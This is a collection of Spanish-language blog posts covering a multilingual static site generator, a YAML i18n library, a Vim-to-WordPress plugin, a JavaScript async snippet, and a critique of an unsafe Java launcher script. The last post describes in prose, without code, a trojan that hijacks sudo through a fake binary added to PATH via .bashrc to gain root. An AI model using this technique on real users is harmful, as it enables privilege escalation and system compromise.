Café y webs multi-idioma

¡Hola!

Tras mucho currelar en esto ya toca el momento de hablar de Schiumato, un generador de sitios web estáticos que ya mencioné en mi entrada sobre el amado arte de afeitar animales lanudos.

Lo hice para gestionar la página web de ElenQ Technology, la empresa que estoy fundando y que también os mencioné in the past.

Como ya he hecho la web y esto ha funcionado es momento de contar cómo funciona y cómo se utiliza.

La verdad es que tiene una lista más larga de cosas pendientes que la lista de cosas hechas, pero es un programa tan extremadamente sencillo que da risa. Pero funciona. Como tiene que ser.

Lo podéis instalar directamente con:

npm install -g schiumato

Para usarlo también os recomiendo que instaléis un servidor HTTP para probar.

npm install -g live-server

Este servidor mola porque cuando se hacen cambios en sus ficheros te actualiza el browser automáticamente. ¡Para nuestro proceso vendrá perfecto!

Schiumato funciona de la siguiente manera:

Tienes un conjunto de plantillas de nunjucks con un par de movidas extra que yo he añadido: _() y filter translate sirven para traducir. Todo string bajo esas funciones será traducido tomando como referencia los ficheros de locales. Tenéis más explicaciones en la minidocumentación de Schiumato.

Cuando disparemos schiumato create, se procesarán esas plantillas y el resultado se copiará en la carpeta de destino de forma ordenada. Las plantillas se renderizan en orden, una vez por idioma, y se vuelcan en su carpeta correspondiente. Los ficheros de la carpeta estática se copian literalmente. Por ejemplo, con mi web:

www
├── en
│   ├── about.html
│   ├── contact.html
│   ├── index.html
│   ├── services.html
│   └── support.html
├── es
│   ├── about.html
│   ├── contact.html
│   ├── index.html
│   ├── services.html
│   └── support.html
├── eu
│   ├── about.html
│   ├── contact.html
│   ├── index.html
│   ├── services.html
│   └── support.html
└── static
    ├── css
    │   ├── fonts.css
    │   ├── normalize.css
    │   ├── skeleton.css
    │   └── style.css
    ├── files
    │   └── publickey.hello@elenq.tech.txt
    ├── fonts
    │   ├── LatoLatin-Light.eot
    │   ├── LatoLatin-Light.ttf
    │   ├── LatoLatin-Light.woff
    │   ├── LatoLatin-Light.woff2
    │   ├── LatoLatin-Regular.eot
    │   ├── LatoLatin-Regular.ttf
    │   ├── LatoLatin-Regular.woff
    │   ├── LatoLatin-Regular.woff2
    │   └── OFL.txt
    └── img
        ├── ElenQTechLogo.png
        ├── ElenQTechLogo.svg
        ├── faces
        │   └── ekaitz.jpg
        ├── liberapay.svg
        └── projects
            └── sotapatroi.png

10 directories, 34 files

Veis como se vuelca 3 veces el HTML, en Inglés, Español y Euskera. El contenido estático está sólo una vez porque no se traduce y así no se replica.

Con live-server arrancado en la carpeta www, podéis ir viendo cómo quedan las cosas cada vez que lanzáis una creación.

Y este es el rollo.

Si queréis ver las plantillas podéis verlas en el repo de la web aquí.

Para hacer el deploy copiáis toda la carpeta WWW y ya, eso sí, tenéis que seleccionar el idioma que queréis que se muestre por defecto para que os redireccione ahí vuestro servidor para que se vea algo al entrar a la raíz. Eso es fácil de hacer.

Y nada, esta es la web resultante:

http://elenq.tech

Esta también redirecciona a HTTPS 😉

Espero que os mole el rollo.

Sed buenos.

De sitios web, traducciones y vacas peludas

Hola chavalada,

Hace mucho que no os traigo nada fresco y me parece muy mal y más vale que a vosotros también porque si no no entiendo por qué os leéis esta mierda de sitio.

Con eso de la empresa necesito una página web. ¿Quién no necesita una hoy en día? ¡Si hasta las panaderías tienen!

Como soy un afeitador de yaks profesional me he dedicado un par de semanas a hacerlo. No sé parar. Os cuento cómo fue el rollo.

Necesitaba una página web para la empresa. Esto me llevó a querer escribirla, pero quería que fuera simple y estática y no quería tener que gestionar todo en HTML a pelo y repetir pedazos así que tenía que ser modular. Para esto necesitaba un generador de páginas web. Lo malo es que el creador de webs tenía que ser capaz de traducir todo de forma automática sin tener que reescribir toda la web.

Y esto no es muy extremo, la verdad. No tardé mucho en conseguirlo (¿un par de días en ratos sueltos?). Aquí la prueba.

Pero ya os he dicho que no sé parar y como el tipo de fichero de traducción generado por gettext no me gustaba, no podía automatizar todo dentro del mismo script porque tenía que llamar a los métodos internos de pyBabel que no estaban muy claros en la documentación y ahora me estoy saturando de python y quiero cambiar de aires pues… Se me fue la olla y decidí hacerlo en Node.js.

No en CoffeeScript, como he hecho otras cosas. Esta vez tenía que ser JavaScript. Porque sí. Además quería forzar un poco de programación funcional y ya que me ponía quería jugar con Underscore porque la quiero usar en otro proyecto y ya mato dos pájaros de un tiro.

Cuál fue mi sorpresa cuando me puse a investigar diferentes librerías de templating y de i18n (internacionalización, para las traducciones) y no me quedaba satisfecho.

Para el templating probé cosas parecidas a Jinja, que es lo que conocía y el proyecto que hice en Python que te he linkado antes. Fueron:

  • Jinjs: Una implementación en de Jinja en Node.js. Casi compatibles al 100% pero no tiene muy buena documentación. Te referencia a la de Jinja y me daba miedo basarme en cosas que luego no funcionaran bien.
  • Plate: No probé mucho, hice un ejemplo y funcionó bien. Son plantillas compatibles con las de Django (un framework web de Python), que al mismo tiempo es el projecto en el que se basan las de Jinja que usé en la prueba de concepto de antes.
  • Nunjucks: Un proyecto basado en Jinja. Muy similar y compatible en todo lo que necesitaba. Me quedé con estas porque tienen una docu bastante decente. Aunque luego una cosa que quise hacer no estaba bien documentada y la tuve que hacer de otra manera. 🙂
  • Y algunas otras diferentes por probar, pero no me gustaron para esta aplicación. Mustache y similares. Interesantes también para otras cosas.

Pero eso sólo solucionaba medio problema.

La mayor parte de soluciones de i18n que encontré tienen muchas cosas que no necesito como que te capturen automáticamente las locales y encima usan un fichero JSON para las traducciones que es muy difícil de gestionar con strings largos o multilínea. Este último problema en mi caso era grave porque traducir una web conlleva mucho contenido, no es lo mismo que una aplicación. Así que tenía que hacer algo.

Pensé que usar un YAML molaba mucho más porque gestiona los strings largos de una forma mucho más bonita. Para empezar, puede ajustarse el ancho del fichero a un límite de caracteres por defecto y, con eso, marca de forma distinta los strings que son muy largos y han sido ajustados al ancho del fichero añadiendo saltos de línea o los strings que contenían saltos de línea y deben ser leídos de forma literal. Esto para mí es oro puro y lo necesitaba.

Así que. Lo hice. Me dediqué unos días a crear mi propia librería de i18n (que tengo que documentar mejor, por cierto). Está aquí:

https://github.com/ekaitz-zarraga/i18n_yaml

Y la podéis instalar con:

npm install i18n_yaml

Y eso ya me habilitó el poder hacer el constructor de sitios webs estáticos con i18n á la Ekaitz y lo pude hacer y poner aquí:

https://gitlab.com/ElenQ/schiumato

Ahora mismo está un poco en bragas (tenéis una lista de cosas pendientes al final del README.md), pero tiene buena pinta y funciona. No os voy a contar de donde viene el nombre porque entonces tendría que hablar de otro gestor de sitios que… Ejem.

Todavía me queda el último salto de la recursión, claro, me queda hacer la web. Pero eso os lo cuento otro día.

Tampoco he entrado en profundidad a contar cómo funcionan estas cosas, como me suele gustar hacer. Igual lo hago pronto y aprovecho para documentarlas un poco mejor.

Un abrazo.

Seguid afeitando yaks y cambiando el mundo por el camino.

Osakidetza y cómo cagarla con un Bash-script (2/2)

Bueno pues.

Después de toda la espera toca ponerse a destripar el script del infierno que ya presenté aquí.

Aviso de que se me va a ir de longitud este post. Nada raro en mí.

Antes de nada deciros muy seriamente un par de cosas:

No está bien meterse con el trabajo de los demás. Este script lo ha hecho una persona. Por lo que veremos, seguramente no tendrá mucho conocimiento de GNU/Linux pero programa bastante limpio así que seguramente sea programador, posiblemente de Java (el programa está hecho en Java), cosa que hará bastante mejor que yo.

El objetivo de esto no es la burla, es el aprendizaje. Tanto el mío como el vuestro. No voy a clavar perfecto todo lo que comente aquí, igual que ocurre con todo lo que escribo en el blog, pero este es un lugar para la reflexión y el análisis positivo.

Escribo en clave de humor y vacilo a Osakidetza y a otros medios gubernamentales porque su labor es hacer las cosas bien (como la de todos) pero tiran de subcontrataciones chapuceras y no tienen un control real de lo que reciben a cambio.

Ni media broma al currela que se parte el lomo por una miseria en una consultora carnicera para hacer un script en un lenguaje que no forma parte de su curro.

Todo mi desprecio a las consultoras carniceras que sólo quieren que parezca que han hecho algo y ponen a cualquiera a hacer el trabajo y le presionan para que funcione y a todos los que contratan a este tipo de esclavistas y estafadores modernos.

Dicho esto, vamos a analizar el código. No sólo lo que esté mal (según mi criterio, ojo) si no que vamos a intentar fijarnos en el estilo y otras cosas. Veremos si lo consigo.

Aquí os dejo el script, pulsad para expandirlo. Lo dejo recogidito porque iré sacando pedazos más abajo, sólo está como referencia.

#!/bin/bash
# This script attempts to find an existing installation of Java that meets a minimum version
# requirement on a Linux machine.  If it is successful, it will export a JAVA_HOME environment
# variable that can be used by another calling script.
#
# To specify the required version, set the REQUIRED_VERSION to the major version required, 
# e.g. 1.3, but not 1.3.1.
REQUIRED_TEXT_VERSION=1.6

# Transform the required version string into a number that can be used in comparisons
REQUIRED_VERSION=`echo $REQUIRED_TEXT_VERSION | sed -e 's;\.;0;g'`
# Check JAVA_HOME directory to see if Java version is adequate
if [ $JAVA_HOME ]
then
    JAVA_EXE=$JAVA_HOME/bin/java
    VERSION=`$JAVA_EXE -version 2>&1 | head -1`
    VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
    VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
    if [ $VERSION ]
    then
        if [ $VERSION -ge $REQUIRED_VERSION ]
        then
            JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
        else
            JAVA_HOME=
        fi
    else
        JAVA_HOME=
    fi
fi

# If the existing JAVA_HOME directory is adequate, then leave it alone
# otherwise, use 'locate' to search for other possible java candidates and
# check their versions.
if [ $JAVA_HOME ]
then
    :
else
    for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`
    do
        if [ $JAVA_HOME ] 
        then
            :
        else
            VERSION=`$JAVA_EXE -version 2>&1 | head -1`
            VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
            VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
            if [ $VERSION ]
            then
                if [ $VERSION -ge $REQUIRED_VERSION ]
                then
                    JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
                fi
            fi
        fi
    done
fi

# Get additional weasis arguments
userParameters=()
for var in "$@"
do
if  [[ $var == \$* ]]
then
    userParameters+=("$var")
fi
done
echo user arguments: ${userParameters[@]}

# If the correct Java version is detected, then export the JAVA_HOME environment variable
if [ $JAVA_HOME ]
then
    export JAVA_HOME
    echo Java Home: $JAVA_HOME/bin/java
    curPath=$(dirname "`readlink -f "$0"`")
    echo Weasis launcher directory: $curPath
    $JAVA_HOME/bin/java -Xms64m -Xmx512m -Dgosh.args="-sc telnetd -p 17179 start" -Dweasis.portable.dir="$curPath" -classpath "$curPath/weasis/weasis-launcher.jar:$curPath/weasis/felix.jar:$curPath/weasis/substance.jar" org.weasis.launcher.WeasisLauncher \$dicom:get --portable ${userParameters[@]}
else echo 'Weasis requires Java Runtime '$REQUIRED_TEXT_VERSION' or higher, please install it'
fi

Empezamos resumiendo un poco la labor del script. Básicamente, se encarga de arrancar un programa en Java con un conjunto de argumentos de entrada, toda la lógica sirve para buscar lo que veréis que se llama JAVA_HOME y comprobar la versión del Java que el usuario tenga instalado (VERSION dentro del script).

Los dos if principales (lineas 13 y 35) son los que aseguran esto. Ahora entramos en detalle pero antes una cuestión de estilo.

Podéis ver que el código está bien indentado (con tabs, pero bien indentado) y comentado. Con comentarios no muy anchos para que sean fáciles de leer. Por eso comentaba antes que me da la sensación de que el que lo ha escrito es programador, pero, por las cosas que veremos luego, no controla demasiado de la herramienta que está usando (que, por otro lado, es bastante cabrona y difícil).

Vamos a por esos if:

El primero, que comienza en la línea 13 es el if con lógica. Parte de la variable de entorno JAVA_HOME que suele indicar dónde está nuestra instalación de Java para ejecutar java -version (línea 16) y comprobar si la versión es más grande que la indicada en la línea 8.

# Check JAVA_HOME directory to see if Java version is adequate
if [ $JAVA_HOME ]
then
    JAVA_EXE=$JAVA_HOME/bin/java
    VERSION=`$JAVA_EXE -version 2>&1 | head -1`
    VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
    VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
    if [ $VERSION ]
    then
        if [ $VERSION -ge $REQUIRED_VERSION ]
        then
            JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
        else
            JAVA_HOME=
        fi
    else
        JAVA_HOME=
    fi
fi

Hasta aquí todo bastante bien. En detalle vemos como necesita diseccionar el resultado de java -version (lineas 16-18) pero tampoco sabría hacerlo mucho más bonito si fuera necesario.

En el if anidado vemos que para recuperar el JAVA_HOME nuevo corta el JAVA_EXE que él mismo ha creado antes (linea 23). No tiene mucho sentido, creo yo, recuperando el JAVA_HOME de más arriba era suficiente. Además lo recorta eliminándole los últimos 9 caracteres, que es exactamente lo que mide /bin/java, que es la parte que le ha añadido a JAVA_HOME antes para crear JAVA_EXE.

Yo ese if lo dejaría directamente así (líneas 19-30):

        if [ $VERSION -lt $REQUIRED_VERSION ] # -lt es less than
            JAVA_HOME=
        fi

Muchos ya os habéis dado cuenta de un par de detalles pero lo iré aclarando al final, no desesperéis. Si luego me olvido pues lo comentáis y listo.

Ese if no tiene mucha más chicha que eso, vamos al siguiente que es donde está la movida guapa.

# If the existing JAVA_HOME directory is adequate, then leave it alone
# otherwise, use 'locate' to search for other possible java candidates and
# check their versions.
if [ $JAVA_HOME ]
then
    :
else
    for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`
    do
        if [ $JAVA_HOME ] 
        then
            :
        else
            VERSION=`$JAVA_EXE -version 2>&1 | head -1`
            VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
            VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
            if [ $VERSION ]
            then
                if [ $VERSION -ge $REQUIRED_VERSION ]
                then
                    JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
                fi
            fi
        fi
    done
fi

El comentario ya lo dice todo.

Para empezar, usa locate, una herramienta que no viene por defecto normalmente. Cagada. Mejor usar find aunque sea más lento.

O mejor no usar, porque lo que hace es aún más cremas. Mirad la línea 39:

    for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`

Ese for itera por todos ficheros del sistema que cumplen lo siguiente:

  • Contienen bin/java en su nombre
  • Terminan en java

El developer esperaba encontrar /usr/local/bin/java por ejemplo, pero con esa búsqueda también puede encontrar /home/user/projects/example_virus/bin/java_binaries/destroy_all_java, por ejemplo.

Lo divertido es que poco más abajo lo ejecuta, así porque él lo vale. Linea 45:

            VERSION=`$JAVA_EXE -version 2>&1 | head -1`

Repito más claro:

Este programa busca cosas casi aleatorias en tu sistema y las ejecuta para ver si su versión es correcta. Luego, si cumple, lo vuelve a ejecutar con un churro gigante de parámetros de entrada.

Si te encuentra algo que no es, lo va a disparar, sea malicioso o no.

Eso es lo más divertido de ese if, el resto es como el de arriba.

El bloque final es mucho más aburrido. Añade los parámetros de entrada que le metamos en la ejecución a unos que permite que le metas por defecto hardcoded (lineas 59-68) y ejecuta el programa haciendo mil jueguecitos que tiene pinta que sean muy necesarios.

Un par de cosas generales:

No entiendo para qué se necesita volverse loco con la puta variable JAVA_HOME. Si el usuario no es idiota y tiene todo bien instalado con llamar directamente a java es suficiente porque estára en el PATH y listo. Si realmente se necesitase setear la variable para algo interno del programa, con buscar dónde está ese binario sería suficiente, de nuevo, tirando del sistema se puede hacer con un whereis.

Es absurdo porque tras nosecuantísimo procesamiento para buscar la versión y la localización de Java en mi sistema, fue incapaz de localizar el OpenJDK, que sí que es capaz de lanzar el programa con éxito. Esto ocurrió porque en el parseo de las versiones utiliza un formato que es específicamente el que da Java, OpenJDK pone otra cosa diferente aunque parecida:

openjdk version "1.8.0_121"
OpenJDK Runtime Environment (build 1.8.0_121-8u121-b13-0ubuntu1.16.04.2-b13)
OpenJDK 64-Bit Server VM (build 25.121-b13, mixed mode)

A parte de todo esto, cuando decía que el programador no controla mucho de Bash es porque le veo muchos detalles en los que se nota que no tiene mucha experiencia con la herramienta. Por ejemplo, tiene ifs vacíos porque necesita el else cuando con negar la condición sería suficiente. El uso del locate en lugar de otras herramientas también puede dar una pista.

En general, el programa parece que está copy-pasteado de Stack Overflow. Cosa que todos hacemos, pero a algunos se les nota más que a otros.

🙂

Conclusiones:

  • No ejecutéis todos los ficheros del sistema. Si el usuario no tiene las cosas bien configuradas que le den por el culo. Es mejor eso que ponerse a ejecutar cosas aleatorias que a saber lo que hacen.

  • No seáis tan locos con las versiones porque eso os puede llevar al caso anterior.

  • Si sólo tenéis código para meter en el else quizás negar el if sea la solución más elegante. man [ para que os cuenten un poco de qué va el rollo.

  • Intentad evitar usar programas que no estén por defecto en el sistema. locate vs find. Y, a poder ser, no busquéis porque puede que caigáis en el caso 1.

  • Todos hemos trabajado en una herramienta en la que estamos un poco cojos, está bien buscar en internet, pero no está de más investigar un poco más si las fechas de entrega te lo permiten.

  • Bash es más feo que una nevera por detrás, pero es útil a veces.

  • No trabajes en una consultora cárnica si lo puedes evitar. Intenta cambiar el mundo en otro tipo de trabajos más sociales o éticos. Esos cabrones no te merecen. Es difícil pero lo puedes conseguir.

En fin.

Ya comenté en la primera parte la solución rápida que le metí al script, dejo en vuestras manos una más elaborada.

Un abrazo. Como siempre.

Osakidetza y cómo cagarla con un Bash-script (1/2)

Hola,

Son la una y media de la mañana y no puedo dormir así que os voy a contar una linda historia con moraleja en la que trataré de poneros en mi piel.

Resulta que hace varias semanitas, debido a unos temas, acaba llegando a tus manos una radiografía de la espalda de alguien. Esta radiografía fue pedida a Osakidetza, el servicio Vasco de Salud (comunidad autónoma en la que resides).

El sistema es sencillo. Te hacen una radiografía y, si la quieres, te permiten que rellenes un escrito para pedirla. Poco después te llega en un CD.

Tiene todo el sentido del mundo porque así tienes oportunidad de tener una segunda opinión de un conocido, acudir a otro médico o verla por ti mismo.

Ahora esperaréis que la historia se tuerza porque no se puede ver en Linux pero va a molar mucho más.

Resulta que el CD tiene un Autorun (que en Linux, evidentemente, no se dispara) que despierta una aplicación para poder ver las radiografías. Piensas que con una imagen sería suficiente, pero, como descubrirás después, el programa es mucho más potente y es capaz de tomar medidas, navegar y otras cosas que a los médicos les vienen bien.

Como la aplicación no se dispara, piensas que en Linux vas a estar jodido, pero te motivas y abres el contenido del CD a ver qué se cuece. Resulta que es un programa en Java. ¡Bien! ¡Eso es portable!

Tiene un par de carpetas de Windows y Mac así que esperas que haya para Linux. Efectivamente. Te encuentras con un script de Bash que esperas que levante la aplicación de Java.

Lo lanzas y falla, te dice que no tienes Java instalado. Lo compruebas y tienes el OpenJDK. Por un momento piensas en instalar el Java oficial pero acabas rechazando la idea y abriendo ese script para buscar por qué no te localiza lo que tienes. Te encuentras con esto:

#!/bin/bash
# This script attempts to find an existing installation of Java that meets a minimum version
# requirement on a Linux machine.  If it is successful, it will export a JAVA_HOME environment
# variable that can be used by another calling script.
#
# To specify the required version, set the REQUIRED_VERSION to the major version required, 
# e.g. 1.3, but not 1.3.1.
REQUIRED_TEXT_VERSION=1.6

# Transform the required version string into a number that can be used in comparisons
REQUIRED_VERSION=`echo $REQUIRED_TEXT_VERSION | sed -e 's;\.;0;g'`
# Check JAVA_HOME directory to see if Java version is adequate
if [ $JAVA_HOME ]
then
	JAVA_EXE=$JAVA_HOME/bin/java
	VERSION=`$JAVA_EXE -version 2>&1 | head -1`
	VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
	VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
	if [ $VERSION ]
	then
		if [ $VERSION -ge $REQUIRED_VERSION ]
		then
			JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
		else
			JAVA_HOME=
		fi
	else
		JAVA_HOME=
	fi
fi

# If the existing JAVA_HOME directory is adequate, then leave it alone
# otherwise, use 'locate' to search for other possible java candidates and
# check their versions.
if [ $JAVA_HOME ]
then
	:
else
	for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`
	do
		if [ $JAVA_HOME ] 
		then
			:
		else
			VERSION=`$JAVA_EXE -version 2>&1 | head -1`
			VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
			VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
			if [ $VERSION ]
			then
				if [ $VERSION -ge $REQUIRED_VERSION ]
				then
					JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
				fi
			fi
		fi
	done
fi

# Get additional weasis arguments
userParameters=()
for var in "$@"
do
if  [[ $var == \$* ]]
then
    userParameters+=("$var")
fi
done
echo user arguments: ${userParameters[@]}

# If the correct Java version is detected, then export the JAVA_HOME environment variable
if [ $JAVA_HOME ]
then
	export JAVA_HOME
	echo Java Home: $JAVA_HOME/bin/java
	curPath=$(dirname "`readlink -f "$0"`")
	echo Weasis launcher directory: $curPath
	$JAVA_HOME/bin/java -Xms64m -Xmx512m -Dgosh.args="-sc telnetd -p 17179 start" -Dweasis.portable.dir="$curPath" -classpath "$curPath/weasis/weasis-launcher.jar:$curPath/weasis/felix.jar:$curPath/weasis/substance.jar" org.weasis.launcher.WeasisLauncher \$dicom:get --portable ${userParameters[@]}
else echo 'Weasis requires Java Runtime '$REQUIRED_TEXT_VERSION' or higher, please install it'
fi

Es gracioso porque en menos de 10 minutos lo haces funcionar convirtiéndolo en lo siguiente sin pensar mucho:

#!/bin/bash
# This script attempts to find an existing installation of Java that meets a minimum version
# requirement on a Linux machine.  If it is successful, it will export a JAVA_HOME environment
# variable that can be used by another calling script.
#
# To specify the required version, set the REQUIRED_VERSION to the major version required, 
# e.g. 1.3, but not 1.3.1.
REQUIRED_TEXT_VERSION=1.6



# Get additional weasis arguments
userParameters=()
for var in "$@"
do
if  [[ $var == \$* ]]
then
    userParameters+=("$var")
fi
done
echo user arguments: ${userParameters[@]}

# If the correct Java version is detected, then export the JAVA_HOME environment variable
if [ 0 -eq 0 ]
then
	export JAVA_HOME=/usr/
	echo Java Home: $JAVA_HOME/bin/java
	curPath=$(dirname "`readlink -f "$0"`")
	echo Weasis launcher directory: $curPath
	$JAVA_HOME/bin/java -Xms64m -Xmx512m -Dgosh.args="-sc telnetd -p 17179 start" -Dweasis.portable.dir="$curPath" -classpath "$curPath/weasis/weasis-launcher.jar:$curPath/weasis/felix.jar:$curPath/weasis/substance.jar" org.weasis.launcher.WeasisLauncher \$dicom:get --portable ${userParameters[@]}
else echo 'Weasis requires Java Runtime '$REQUIRED_TEXT_VERSION' or higher, please install it'
fi

Por el camino, te encuentras con unos detalles increíbles que, viendo lo graves que son, decides contar en tu blog.

La única diferencia con el script de arriba es que has borrado todo el bloque de comprobaciones y has hardcodeado JAVA_HOME. Una solución muy sucia que no funcionaría en todos los casos, pero te vale por el momento.

En la parte borrada hay unas joyas estelares. La próxima entrada explicará cuales, por qué y por qué este código a parte de no ser muy bueno es peligroso.

Seguimos otro día. Comentad con lo que encontréis y lo vamos discutiendo. Dentro de unos días pongo mi análisis del código.

¡Un abrazo!

droWMark, postea en WordPress desde Vim

Hola hijos,

Hoy vengo a contaros una cosa loca que he estado desarrollando para mí durante el último año en ratos libres.

Hace tiempo que salió su primera versión pero no lo publiqué porque no saqué tiempo y porque me daba un poco de vergüenza porque era muy cutre, pero ahora que tengo más tiempo (ya os contaré por qué) me he decidido a añadirle unas funcionalidades nuevas y estoy contento.

Vengo a presentaros droWMark, un plugin para Vim que sirve para postear a WordPress desde el editor, escribiendo en Markdown (con sabor a Pandoc). Por si os lo preguntabais, sí, llevo como un año posteando en este foro directamente desde Vim.

Hasta hace muy poquito el plugin no soportaba la subida de imágenes, pero tampoco lo necesitaba porque pocas veces añado imágenes a los posts. 🙂

Os cuento un poco cómo funciona por debajo y si queréis más información os leeis la documentación del plugin, que es bastante clara. Para leerla con entrar en la carpeta doc en el repo es suficiente pero mola más que os lo instaléis (usad Vundle o algo por favor) y hagáis :help drowmark.

El plugin se separa en dos partes, una en VimL (o VimScript) y otra en Python.

La parte en VimL se encarga de gestionar todo lo relacionado con Vim y llamar a la parte de Python. Hace las siguientes cosas:

  • Syntax highlighting de los ficheros especiales que utilizo. Son una mezcla de Markdown con un poco de INI1 en la cabecera (aunque no por mucho tiempo).
  • La documentación del plugin, para poder hacer :help drowmark y esas cosas.
  • Define el nuevo tipo de fichero WP. Para esto necesita detectar el tipo de fichero y marcarlo bien. De esto se encarga ftdetect.
  • Gestionar el post de plantilla para que se pueda hacer :NewWordPress y te prepare el archivo. Simplemente se guarda un fichero de referencia que se escribe en el búfer actual al llamar al comando. Fácil.
  • Llama al script de python de forma ordenada pidiéndole los credenciales al usuario. Mientras escribes la contraseña no muestra nada en la pantalla, pero no está muy fino y si te equivocas y borras no funciona. Si leéis el código entenderéis por qué.

La parte de python es todo lo relacionado con WordPress y la funcionalidad que se quería ofrecer. Así puede separarse y usarse sola o migrarse a otros editores. Tengo pendiente migrar a Emacs pero necesito la ayuda de mi divertida hermana Emacsera para eso. La parte de Python hace lo siguiente por el momento.

  • Captura las opciones puestas en la cabecera INI y construye un blogpost con ellas.
  • Convierte el MarkDown a HTML usando panflute. En las versiones anteriores lo hacía con pypandoc.
  • Durante la conversión (esto es la novedad de la versión 1.1) busca todas las imágenes en el texto y las sube si son ficheros locales cambiando la URL para que referencia al recién subido archivo. Lo mismo ocurre con el campo thumbnail de la cabecera.
  • Postea el documento convertido.

Y eso es todo.

Fijaos que esta entrada tiene un thumbnail (o imagen destacada) y una imagen aquí debajo. Están únicamente puestas para demostrar que puedo.

Imagen puesta para fardar

No os toméis este Plugin como la mejor manera de hacer las cosas, sólo quiero que veáis que cuando nos apetece cambiar nuestro workflow con un poco de esfuerzo podemos conseguirlo. No hace falta volverse muy loco.

Si leéis el código fuente veréis que es un script de Python muy corto y bastante cutre. A veces merece la pena programar agresivo si el programa cumple con lo que debe.

Ahora mismo estoy en ese proceso de ir convirtiéndolo en un programa razonable, pero, de momento, es un poco mierda porque funciona y para mí es suficiente. Si empezamos grande a veces nos aburrimos antes de terminar. Mejor empezar pequeño y cuando la cosa dé unos frutos recuperar la motivación para poder crecer.

¡Espero que os mole y lo probéis!

Comentarios y críticas, en la sección de abajo.

Un abrazo.


  1. INI son los ficheros como la configuración de Git, hice un parser de esto en C hace un tiempo

Funciones asíncronas Javascript

JavaScript es una broma, una jodida broma. Una broma digna del Comediante.

Todo es asíncrono pero para hacer cosas asíncronas hay que hacer trampas. Esto es un ejemplo:

function wait(ms){
   var start = new Date().getTime();
   var end = start;
   while(end < start + ms) {
     end = new Date().getTime();
  }
}


console.log('EMPIEZA');

function count(){
  setTimeout(

    function(){
      for(var i = 0; i < 10; i++){
        console.log(i);
        wait(1000);
      }
    }

  );     // ¿Va el hilo principal a esperar a que 
         // termine el count()?
}
count();

console.log("TERMINA");

Paso de explicar esta mierda.

A veces lo amas y a veces lo odias, esto es JavaScript.

He dejado una preguntilla en el código para que probéis. No soy tan malo, investigad un poco. 🙂

Preguntad lo que necesitéis.

Un abrazo.

Troyanos y escalado de privilegios en Linux

Hola amigos,

Ya os hablé de como ejecutar comandos “fake” en Linux, de una forma estúpida que se me ocurrió de repente, sin necesitar permisos de administrador.

Hoy la vamos a liar muy parda y vamos a escalar privilegios y hacer mierdas locas con ello. ¿Os apetece?

Primero hablemos de los ingredientes:

  • Un troyano
  • La variable de entorno PATH
  • Un programa falso
  • Dar permisos de ejecución
  • Un incauto con permisos de administrador

Como todos sabemos la vulnerabilidad más grande que hay en un equipo se encuentra entre la silla y el teclado así que vamos a atacar ahí. Ahí entra en juego el troyano. Un troyano es básicamente un programa que apetece usar pero hace cosas maliciosas por detrás. Como el caballo de Troya, que era un regalo chulo de los atenienses pero dentro tenía soldados con malas intenciones. Como en aquella historia (os la recomiendo), el caballo sólo tendrá unos pocos efectivos para poder abrir las puertas de la fortaleza, no será quien destruya todo.

El troyano puede ser un juego, un script loco o lo que sea y tenemos que conseguir que nuestra presa lo ejecute. Sin permisos de superusuario ni nada, para que parezca que está seguro. Lo chulo vendrá después.

Nuestro troyano hará básicamente lo mismo que hace el post que os he linkado arriba. El troyano generará un programa que haga cosas maliciosas y lo insertará en una carpeta bajo el control del usuario. Además añadirá una línea en .bashrc del usuario o en el .bash_profile (o el archivo que use) que cambie la variable PATH y le meta el camino al directorio donde lo hemos situado. Estos archivos, por si no lo sabéis, se ejecutan cuando el usuario inicia una sesión. Así que la próxima vez que el usuario inicie una sesión, se la variable PATH incluirá nuestro directorio maldito.

Si llamamos sudo a ese programa que añadamos (podemos hacerlo con otros, pero con este truco escalaremos), cuando el usuario lance sudo el programa no lanzará el que quiere, si no nuestra copia maliciosa. En ella podemos lanzar algo utilizando con el sudo de verdad. El usuario esperará tener que meter la contraseña y, si lo hace, el programa hará algo que él no esperaba y con permisos de superusuario. Además, para que el usuario no sospeche (lo veréis en el código abajo) podemos lanzar nuestro código malicioso con sudo en background y lanzar después lo que el usuario quería, así él verá como que todo está bien.

Evidentemente, el troyano además tendría que darle permisos de ejecución al programa malicioso para que el usuario pueda lanzarlo sin problemas. Tampoco se requieren privilegios para esto así que es factible.

Si lo hacemos con otro comando cuidado: si el programa que pisamos está en /bin/ no funciona porque tiene preferencia el path /bin/ sobre el resto y nos lanzaría el original (sudo está en /usr/bin/).

Esta es la teoría.

Voy a enseñar esto en un lenguaje de scripting, en bash, concretamente. Esto es un ERROR si queremos joder al colega de verdad porque podría leer el código antes de ejecutar y ver nuestra movida. Lo hago sólo para demostrar que se puede hacer y nos lo pasemos bien.

